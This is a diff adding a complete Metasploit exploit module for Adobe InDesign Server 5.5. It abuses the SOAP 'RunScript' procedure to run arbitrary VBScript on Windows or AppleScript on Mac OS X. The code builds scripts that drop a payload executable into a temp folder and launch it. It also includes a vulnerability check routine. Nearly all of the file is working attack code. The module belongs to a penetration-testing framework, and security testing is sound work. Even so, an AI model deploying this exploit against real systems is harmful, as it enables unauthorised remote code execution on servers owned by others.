|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# Framework web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/framework/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + Rank = ExcellentRanking |
| 12 | + |
| 13 | + include Msf::Exploit::Remote::HttpClient |
| 14 | + include Msf::Exploit::EXE |
| 15 | + |
| 16 | + def initialize(info = {}) |
| 17 | + super(update_info(info, |
| 18 | + 'Name' => 'Adobe IndesignServer 5.5 SOAP Server Arbitrary Script Execution', |
| 19 | + 'Description' => %q{ |
| 20 | + This module abuses the "RunScript" procedure provided by the SOAP interface of |
| 21 | + Adobe InDesign Server, to execute abritary vbscript (Windows) or applescript(OSX). |
| 22 | +
|
| 23 | + The exploit drops the payload on the server and must be removed manually. |
| 24 | + }, |
| 25 | + 'Author' => |
| 26 | + [ |
| 27 | + 'h0ng10', # Vulnerability discovery / Metasploit module |
| 28 | + 'juan vazquez' # MacOSX target |
| 29 | + ], |
| 30 | + 'License' => MSF_LICENSE, |
| 31 | + 'Platform' => ['win', 'osx'], |
| 32 | + 'Privileged' => false, |
| 33 | + 'DisclosureDate' => 'Nov 11 2012', |
| 34 | + 'References' => |
| 35 | + [ |
| 36 | + [ 'OSVDB', '87548'], |
| 37 | + [ 'URL', 'http://secunia.com/advisories/48572/' ] |
| 38 | + ], |
| 39 | + 'Targets' => |
| 40 | + [ |
| 41 | + [ |
| 42 | + 'Indesign CS6 Server / Windows (64 bits)', |
| 43 | + { |
| 44 | + 'Arch' => ARCH_X86_64, |
| 45 | + 'Platform' => 'win' |
| 46 | + } |
| 47 | + ], |
| 48 | + [ |
| 49 | + 'Indesign CS6 Server / Mac OS X Snow Leopard 64 bits', |
| 50 | + { |
| 51 | + 'Arch' => ARCH_X86_64, |
| 52 | + 'Platform' => 'osx' |
| 53 | + } |
| 54 | + ] |
| 55 | + ], |
| 56 | + 'DefaultTarget' => 0 |
| 57 | + )) |
| 58 | + |
| 59 | + register_options( [ Opt::RPORT(12345) ], self.class ) |
| 60 | + end |
| 61 | + |
| 62 | + |
| 63 | + def send_soap_request(script_code, script_type) |
| 64 | + script_code.gsub!(/&/, '&') |
| 65 | + soap_xml = %Q{ |
| 66 | +<?xml version="1.0" encoding="UTF-8"?> |
| 67 | +<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" |
| 68 | +xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" |
| 69 | +xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:IDSP="http://ns.adobe.com/InDesign/soap/"> |
| 70 | + <SOAP-ENV:Body> |
| 71 | + <IDSP:RunScript> |
| 72 | + <IDSP:runScriptParameters> |
| 73 | + <IDSP:scriptText>#{script_code}</IDSP:scriptText> |
| 74 | + <IDSP:scriptLanguage>#{script_type}</IDSP:scriptLanguage> |
| 75 | + </IDSP:runScriptParameters> |
| 76 | + </IDSP:RunScript> |
| 77 | + </SOAP-ENV:Body> |
| 78 | +</SOAP-ENV:Envelope> |
| 79 | +} |
| 80 | + |
| 81 | + res = send_request_cgi({ |
| 82 | + 'uri' => '/', |
| 83 | + 'method' => 'POST', |
| 84 | + 'content-type' => 'application/x-www-form-urlencoded', |
| 85 | + 'data' => soap_xml, |
| 86 | + }, 5) |
| 87 | + end |
| 88 | + |
| 89 | + |
| 90 | + def check() |
| 91 | + # Use a very simple javascript |
| 92 | + check_var = rand_text_numeric(10) |
| 93 | + checkscript = 'returnValue = "' + check_var + '"' |
| 94 | + |
| 95 | + res = send_soap_request(checkscript, "javascript") |
| 96 | + |
| 97 | + return Exploit::CheckCode::Vulnerable if res.body.include?('<data xsi:type="xsd:string">' + check_var + '</data>') |
| 98 | + |
| 99 | + return Exploit::CheckCode::Safe |
| 100 | + end |
| 101 | + |
| 102 | + def exploit |
| 103 | + |
| 104 | + if target.name =~ /Windows/ |
| 105 | + print_status("Creating payload vbs script") |
| 106 | + encoded_payload = generate_payload_exe().unpack("H*").join |
| 107 | + exe_file = Rex::Text.rand_text_alpha_upper(8) + ".exe" |
| 108 | + wsf = Rex::Text.rand_text_alpha(8) |
| 109 | + payload_var = Rex::Text.rand_text_alpha(8) |
| 110 | + exe_name_var = Rex::Text.rand_text_alpha(8) |
| 111 | + file_var = Rex::Text.rand_text_alpha(8) |
| 112 | + byte_var = Rex::Text.rand_text_alpha(8) |
| 113 | + shell_var = Rex::Text.rand_text_alpha(8) |
| 114 | + |
| 115 | + # This one creates a smaller vbs payload (without deletion) |
| 116 | + vbs = %Q{ |
| 117 | +Set #{wsf} = CreateObject("Scripting.FileSystemObject") |
| 118 | +#{payload_var} = "#{encoded_payload}" |
| 119 | +#{exe_name_var} = #{wsf}.GetSpecialFolder(2) + "\\#{exe_file}" |
| 120 | +Set #{file_var} = #{wsf}.opentextfile(#{exe_name_var}, 2, TRUE) |
| 121 | +For x = 1 To Len(#{payload_var})-3 Step 2 |
| 122 | + #{byte_var} = Chr(38) & "H" & Mid(#{payload_var}, x, 2) |
| 123 | + #{file_var}.write Chr(#{byte_var}) |
| 124 | +Next |
| 125 | +
|
| 126 | +#{file_var}.write Chr(#{byte_var}) |
| 127 | +#{file_var}.close |
| 128 | +
|
| 129 | +Set #{shell_var} = CreateObject("Wscript.Shell") |
| 130 | +#{shell_var}.Run Chr(34) & #{exe_name_var} & Chr(34), 0, False |
| 131 | +Set #{shell_var} = Nothing |
| 132 | +returnValue = #{exe_name_var} |
| 133 | + } |
| 134 | + # vbs = Msf::Util::EXE.to_exe_vbs(exe) |
| 135 | + print_status("Sending SOAP request") |
| 136 | + |
| 137 | + res = send_soap_request(vbs, "visual basic") |
| 138 | + if res != nil and res.body != nil then |
| 139 | + file_to_delete = res.body.to_s.scan(/<data xsi:type="xsd:string">(.*)<\/data><\/scriptResult>/).flatten[0] |
| 140 | + print_warning "Payload deployed to #{file_to_delete.to_s}, please remove manually" |
| 141 | + end |
| 142 | + |
| 143 | + elsif target.name =~ /Mac OS X/ |
| 144 | + |
| 145 | + print_status("Creating payload apple script") |
| 146 | + |
| 147 | + exe_payload = generate_payload_exe |
| 148 | + b64_exe_payload = Rex::Text.encode_base64(exe_payload) |
| 149 | + b64_payload_name = rand_text_alpha(rand(5) + 5) |
| 150 | + payload_name = rand_text_alpha(rand(5) + 5) |
| 151 | + |
| 152 | + apple_script = %Q{ |
| 153 | +set fp to open for access POSIX file "/tmp/#{b64_payload_name}.txt" with write permission |
| 154 | +write "begin-base64 644 #{payload_name}\n#{b64_exe_payload}\n====\n" to fp |
| 155 | +close access fp |
| 156 | +do shell script "uudecode -o /tmp/#{payload_name} /tmp/#{b64_payload_name}.txt" |
| 157 | +do shell script "rm /tmp/#{b64_payload_name}.txt" |
| 158 | +do shell script "chmod +x /tmp/#{payload_name}" |
| 159 | +do shell script "/tmp/#{payload_name}" |
| 160 | +set returnValue to "/tmp/#{payload_name}" |
| 161 | + } |
| 162 | + |
| 163 | + print_status("Sending SOAP request") |
| 164 | + |
| 165 | + res = send_soap_request(apple_script, "applescript") |
| 166 | + |
| 167 | + if res != nil and res.body != nil then |
| 168 | + file_to_delete = res.body.to_s.scan(/<data xsi:type="xsd:string">(.*)<\/data><\/scriptResult>/).flatten[0] |
| 169 | + file_to_delete = "/tmp/#{payload_name}" if file_to_delete.nil? or file_to_delete.empty? |
| 170 | + print_warning "Payload deployed to #{file_to_delete.to_s}, please remove manually" |
| 171 | + elsif not res |
| 172 | + print_status "No response, it's expected" |
| 173 | + print_warning "Payload deployed to /tmp/#{payload_name}, please remove manually" |
| 174 | + end |
| 175 | + |
| 176 | + end |
| 177 | + |
| 178 | + end |
| 179 | + |
| 180 | +end |
0 commit comments